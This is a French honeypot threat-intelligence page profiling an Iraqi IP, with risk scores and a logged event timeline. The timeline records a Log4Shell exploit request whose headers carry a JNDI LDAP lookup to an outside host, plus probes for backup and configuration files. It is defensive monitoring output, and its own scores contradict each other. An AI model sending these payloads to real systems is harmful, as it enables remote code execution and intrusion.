Fiche IP

Irak

185.244.155.23

Activité suspecte — risque 34/100 (Faible) — MITRE TA0043 — confiance 8 % — multi-protocole (25 protocoles · 5 min)

FAI Kurdistan Net Company for Computer and Internet Ltd. Première vue 23/10/2026 11:42 UTC Dernière vue 23/10/2026 11:49 UTC Risque Critique

Période 2026-10-04 → 2026-11-03

100

Critique 100/100

24h 7j 30j 90j

Synthèse

Score de risque max. 100/100 Critique · Maximum de risk_score (événements honeypot)

Première observation 23/10/2026 11:42 UTC

Dernière observation 23/10/2026 11:49 UTC

Événements (période) 702

Décision conseillée Surveiller Observer, investiguer ou bloquer. Le site ne pousse pas de règle pare-feu.

MITRE ATT&CK principal T1046 648 occurrences

Pourquoi listée

Type « Scan de ports » (signaux protocolaires) · confiance 0%

Confiance 8 % — Score WAF 8 · Bonus corrélation +8

Décision

Qualifier avant blocage

Le score est critique, mais la confiance reste sous 60 %. Confirmez le type et le volume avant de refuser l’IP.

100/100 Confiance 8 % 702 événements T1046

À faire

Ouvrir la chronologie et confirmer que le type dominant correspond au motif de listing.
Bloquer si le volume des 24 h reste élevé après cette vérification.
Sinon, annoter l’IP et la laisser en surveillance.

Preuves JSON SOC CEF STIX Ticket nftables

Note de ticket

IP 185.244.155.23
Décision : Qualifier avant blocage
Score max : 100/100 (Critique)
Confiance : 8 %
Période : 2026-10-04 → 2026-11-03 · 702 événements
Motif : Type « Scan de ports » (signaux protocolaires) · confiance 0%
MITRE : T1046
FAI : Kurdistan Net Company for Computer and Internet Ltd. · Irak

Comparaison ASN / FAI

ASN 206206 · 185.244.155.0/24 · RIPENCC — 8 pair(s) ASN/FAI listé(s) — activité locale élevée vs pairs · 702 événements sur la période pour cette IP.

212.237.114.33 Sonde SOCKS5 01/08/2026 08:43 UTC
185.244.155.152 Sonde RDP 18/07/2026 21:08 UTC
185.244.154.179 Sonde RDP 18/07/2026 19:14 UTC
185.106.29.187 telnet attack 10/05/2026 23:54 UTC
212.237.116.177 telnet attack 01/04/2026 14:55 UTC
185.106.29.189 telnet attack 26/03/2026 15:38 UTC
185.106.29.184 tcp 10/01/2026 19:39 UTC
212.237.124.83 Sonde MSRPC 09/10/2025 14:09 UTC

Événements (filtres)

702

Première observation

23/10/2026 11:42 UTC

Dernière observation

23/10/2026 11:49 UTC

Dernière activité (filtres)

23/10/2026 11:49 UTC

Événements 7j

Ports distincts (7j)

Classifications (7j)

Sévérité max (7j)

—

Géolocalisation

Origine réseau déclarée

Irak unknown unknown

FAI / réseau

Opérateur et dernière activité ban

Kurdistan Net Company for Computer and Internet Ltd. 0 Port 20627 Log4j JNDI

Renseignement menaces

Score capteur — surveiller, investiguer ou bloquer.

Recommandation

Stade d'attaque

Reconnaissance

Chaîne d'attaque

Reconnaissance

Vecteur d'attaque

port scan stealth · port 20787 · (reconnaissance)

Détails protocole

Port / service

20787

Raison confiance

Confiance 0 % — 1 signal(aux) capteur

Technique MITRE

TA0043

Persona capteur

mail.sensor-1.internal

Corrélations comportementales

Multi-protocole corrélé (5 min)

Recommandation

Surveiller

Rôle capteur

Renseignement menaces

Confiance

8% Corrélation +8

Famille de menace

scanner

MITRE ATT&CK — tactiques observées

Reconnaissance

Décomposition confiance

Décomposition du score

Filtres

Les dates De/À priment sur la période. Affinez protocole, port, service et classification.

proto=Tous service=Tous port=Tous type=Tous sév.=Toutes

Période

Protocole

Port (dst)

Service

Classification

Sévérité min

Sévérité max

Réinitialiser

Profil d’activité

Heures UTC et jours de la semaine, calculés sur les séries de la page

Heures UTC

Jours de semaine

Constats

Lecture automatique du volume, des ports et des créneaux UTC

Timeline

702 événements filtrés — activité quotidienne

Ports 24 h

Top ports ciblés sur les dernières 24 heures

Top ports

Part du volume sur la période filtrée

Top classifications

Libellés capteur, part du volume

Heatmap attaques 7j

Intensité par jour et heure (UTC capteur)

Chronologie des événements

702 événement(s) — page 3/29

Horodatage	Proto	Port	Service	Classification	Sévérité	Risque
23/10/2026 11:45:46 UTC	TCP	20787 · HTTP	http	Log4j JNDI log4j jndi · via HTTP:20787 · (tentative d'exploit)	Élevée	Critique · 100
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1190 Accès Exécution Protocole POST / UA ${jndi:ldap://192.168.195.130:4606/Log4ShellPayload} Émulateur HTTP WAF 83 Recommandation Bloquer (recommandé) Tags 950326:rce-0 950327:rce-0 950406:ssrf-3 950407:ssrf-3 Cible HTTP POST / TLS SNI — Capteur paris-1
Preuve / Evidence Méthode POST Port 20787 Chemin / cible / Service HTTP Pourquoi cette classification : Type « Log4j JNDI » (signaux protocolaires) · confiance 95% Confiance classification 100% Corrélation +18 Risque capteur Critique · 100 Confiance : Confiance 95 % — Motif catalogue confirmé · 12 tag(s) WAF Signaux ET-EXPLOIT-Log4j Http Log4J pat-fb-001 ET-EXPLOIT-Log4j-sub Technique MITRE T1190 Tactiques MITRE Accès initial Exécution Motifs de détection (base) Log4j JNDI Ligne de requête `POST / HTTP/1.1` User-Agent ${jndi:ldap://192.168.195.130:4606/Log4ShellPayload} Règles WAF rce-0 ssrf-3 jndi-0 nosqli-3 cache-poison-xfh sap-sapcontrol-path log4shell-jndi Payload (extrait) POST / HTTP/1.1 Host: 62.3.50.33:20787 Connection: close Content-Length: 75 User-Agent: ${jndi:ldap://192.168.195.130:4606/L Requête brute (extrait) POST / HTTP/1.1 Host: 62.3.50.33:20787 Connection: close Content-Length: 75 User-Agent: ${jndi:ldap://192.168.195.130:4606/Log4ShellPayload} X-Forwarded-For: ${jndi:ldap://192.168.195.130:4606/Log4ShellPayload} X-Api-Version: ${jndi:ldap://192.168.19 Meta JSON brut {"http_header_count":10,"http_query_params":0,"http_path_depth":0,"http_path_ext":null,"http_ua_hash":"76e5faca84dfcd8bc84c3b24d9c3cf47a4c10bb9","http_host_hash":"8e9fd798909c19ea0b8229bcf516dc793dc8f797","http_target_hash":"42099b4af021e53fd8fd4e056c2568d7c2e3ffa8","http_referer_hash":"76e5faca84dfcd8bc84c3b24d9c3cf47a4c10bb9","http_method":"POST","http_ua_is_cli":false,"http_ua_is_browser":false,"bytes_in":618,"payload_entropy":5.339133577340153,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20787,"risk_waf":100,"risk_classification":94,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":48,"risk_granularity":5.7,"risk_breakdown":{"waf":100,"classification":94,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":100,"tag_count":22,"anomaly_count":0,"campaign_key":"835f6953c44ed38c47a7c435e8bb971431ed2610","event_fingerprint":"b1aa294b64d732d5808aaf0de842c17c084dac72","classification_reason":"Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":1,"classification_confidence":1,"precision_score":582,"precision_signals":["ET-EXPLOIT-Log4j","INT-http_log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"kb_rule_ids":["ET-EXPLOIT-Log4j","INT-http_log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"matched_patterns":["pat-fb-001"],"matched_pattern_names":["Log4j JNDI"],"pattern_ids":["pat-fb-001"],"confidenc…
23/10/2026 11:45:46 UTC	TCP	20787 · HTTP	http	Scan de ports port scan syn · via HTTP:20787 · (reconnaissance) · → /wp-config.php.bak	Élevée	Moyen · 61
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /wp-config.php.bak UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 29 Recommandation Investiguer Tags 950326:rce-0 950470:nosqli-3 950518:leak-5 950521:leak-8 Cible HTTP GET /wp-config.php.bak TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20787 Chemin / cible /wp-config.php.bak Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 61 Confiance : Confiance 100 % — 4 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /wp-config.php.bak HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 leak-5 leak-8 Payload (extrait) GET /wp-config.php.bak HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x Requête brute (extrait) GET /wp-config.php.bak HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"bak","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"0372d7102c333673ea0de9e60c73911cb60bfb5f","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":186,"payload_entropy":5.2529992835642085,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20787,"risk_waf":100,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":0,"risk_granularity":5.5,"risk_breakdown":{"waf":100,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":61,"tag_count":8,"anomaly_count":0,"campaign_key":"3cb35b9c1589db69782cc6ee286221a537da04a8","event_fingerprint":"7a58aab468c19a9876b3b67b18c89323bf49baed","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":100,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25,"risk_score":61,"correlation_boost":18},"named_class…
23/10/2026 11:45:46 UTC	TCP	20635 · HTTP	http	Scan de ports port scan syn · via HTTP:20635 · (reconnaissance) · → /config.php.bak	Élevée	Moyen · 58
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /config.php.bak UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 21 Recommandation Investiguer Tags 950326:rce-0 950470:nosqli-3 950521:leak-8 http_backup_file_scan Cible HTTP GET /config.php.bak TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20635 Chemin / cible /config.php.bak Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 58 Confiance : Confiance 100 % — 3 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /config.php.bak HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 leak-8 Payload (extrait) GET /config.php.bak HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Requête brute (extrait) GET /config.php.bak HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"bak","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"f4e5344862db3f007de9149164d79b088f516034","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":183,"payload_entropy":5.240677569590536,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20635,"risk_waf":92,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":0,"risk_granularity":5.7,"risk_breakdown":{"waf":92,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":58,"tag_count":7,"anomaly_count":0,"campaign_key":"f9c9728cc6b8493286e6d06a0508f5857805557a","event_fingerprint":"aa13d26a99d83e958da1150922f16f148edfc433","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":92,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25,"risk_score":58,"correlation_boost":18},"named_classific…
23/10/2026 11:45:46 UTC	TCP	20635 · HTTP	http	Scan de ports port scan syn · via HTTP:20635 · (reconnaissance) · → /api.php	Élevée	Moyen · 46
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /api.php UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 http_probe_api net_port_scan_fast Cible HTTP GET /api.php TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20635 Chemin / cible /api.php Service HTTP Pourquoi cette classification : Type « Scan de ports » (signaux protocolaires) · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 46 Confiance : Confiance 100 % — 2 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /api.php HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /api.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleW Requête brute (extrait) GET /api.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"php","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"c8a97588b7771aaeeaf43f790e83eca06dff8663","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":176,"payload_entropy":5.199206703417091,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20635,"risk_waf":60,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":15,"risk_boost":0,"risk_granularity":4.6,"risk_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15},"risk_score":46,"tag_count":4,"anomaly_count":0,"campaign_key":"e4609b4f303eb449c92b895137dfae7540e18550","event_fingerprint":"d8ff083e92f5994fb598c41cf72c28b29c054c8d","classification_reason":"Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":348,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s","INT-upstream","INT-waf-score"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s","INT-upstream","INT-waf-score"],"confidence_breakdown":{"waf":60,"classification":64,"behavior":0,"geo"…
23/10/2026 11:45:46 UTC	TCP	22840 · HTTP	http	Scan de ports port scan syn · via HTTP:22840 · (reconnaissance) · → /wp-admin/admin-ajax.php	Élevée	Moyen · 61
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /wp-admin/admin-ajax.php UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 22 Recommandation Investiguer Tags 950326:rce-0 950468:nosqli-3 950470:nosqli-3 950503:cms-1 Cible HTTP GET /wp-admin/admin-ajax.php TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 22840 Chemin / cible /wp-admin/admin-ajax.php Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 61 Confiance : Confiance 100 % — 4 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /wp-admin/admin-ajax.php HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 cms-1 Payload (extrait) GET /wp-admin/admin-ajax.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wi Requête brute (extrait) GET /wp-admin/admin-ajax.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":2,"http_path_ext":"php","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"692a8b0578eec329fbdca6a08270182a77e2ce7a","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":192,"payload_entropy":5.2704911893499125,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":22840,"risk_waf":96,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":0,"risk_granularity":6.8,"risk_breakdown":{"waf":96,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":61,"tag_count":9,"anomaly_count":0,"campaign_key":"7bf584d3b36253ba7485acb3ef52b4a016e42c06","event_fingerprint":"2e1358f5be413ba137d8a1a0b291b71d95160146","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":96,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25,"risk_score":61,"correlation_boost":18},"named_classifi…
23/10/2026 11:45:46 UTC	TCP	20627 · HTTP	http	Scan de ports port scan syn · via HTTP:20627 · (reconnaissance) · → /wp-config.php.bak	Élevée	Moyen · 60
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /wp-config.php.bak UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 29 Recommandation Investiguer Tags 950326:rce-0 950470:nosqli-3 950518:leak-5 950521:leak-8 Cible HTTP GET /wp-config.php.bak TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20627 Chemin / cible /wp-config.php.bak Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 60 Confiance : Confiance 100 % — 4 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /wp-config.php.bak HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 leak-5 leak-8 Payload (extrait) GET /wp-config.php.bak HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x Requête brute (extrait) GET /wp-config.php.bak HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"bak","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"0372d7102c333673ea0de9e60c73911cb60bfb5f","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":186,"payload_entropy":5.2529992835642085,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20627,"risk_waf":100,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":0,"risk_granularity":4.7,"risk_breakdown":{"waf":100,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":60,"tag_count":8,"anomaly_count":0,"campaign_key":"0074b88f2b5060cb72efe45c74e006f6226ccd93","event_fingerprint":"c5fd15b524113cb2b3c8ddb19ac40504ad5ee354","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":100,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25,"risk_score":60,"correlation_boost":18},"named_class…
23/10/2026 11:45:46 UTC	TCP	20639 · HTTP	http	Scan de ports port scan syn · via HTTP:20639 · (reconnaissance) · → /backup.sql	Élevée	Moyen · 48
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /backup.sql UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 http_backup_file_scan http_backup_path Cible HTTP GET /backup.sql TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20639 Chemin / cible /backup.sql Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 48 Confiance : Confiance 100 % — 2 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /backup.sql HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /backup.sql HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) App Requête brute (extrait) GET /backup.sql HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"sql","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"0778e66dc91685120fa0e5222b9737c65f736401","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":179,"payload_entropy":5.255903975139784,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20639,"risk_waf":60,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":0,"risk_granularity":5.6,"risk_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":48,"tag_count":5,"anomaly_count":0,"campaign_key":"58ba3069e0459f6b5132f0e3d8b8511804a8e2a3","event_fingerprint":"5f140cd302dd9a494c19fab66f52d4baa6219873","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25,"risk_score":48,"correlation_boost":18},"named_classific…
23/10/2026 11:45:46 UTC	TCP	31832 · HTTP	http	Scan de ports port scan syn · via HTTP:31832 · (reconnaissance) · → /admin.php	Élevée	Moyen · 48
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /admin.php UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 http_admin_panel_probe http_probe_admin Cible HTTP GET /admin.php TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 31832 Chemin / cible /admin.php Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 48 Confiance : Confiance 100 % — 2 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /admin.php HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /admin.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl Requête brute (extrait) GET /admin.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"php","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"bab5871b622b1c3d205151706ae067e078ec96d3","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":178,"payload_entropy":5.219593295784315,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":31832,"risk_waf":60,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":0,"risk_granularity":6.3,"risk_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":48,"tag_count":6,"anomaly_count":0,"campaign_key":"8cb6370e06bbfd862d51ef42d8b35038ce452c61","event_fingerprint":"5976a65685da42b02f9e8d7b0871fc0f37285d45","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25,"risk_score":48,"correlation_boost":18},"named_classific…
23/10/2026 11:45:46 UTC	TCP	20633 · HTTP	http	Scan de ports port scan syn · via HTTP:20633 · (reconnaissance) · → /api.php	Élevée	Moyen · 46
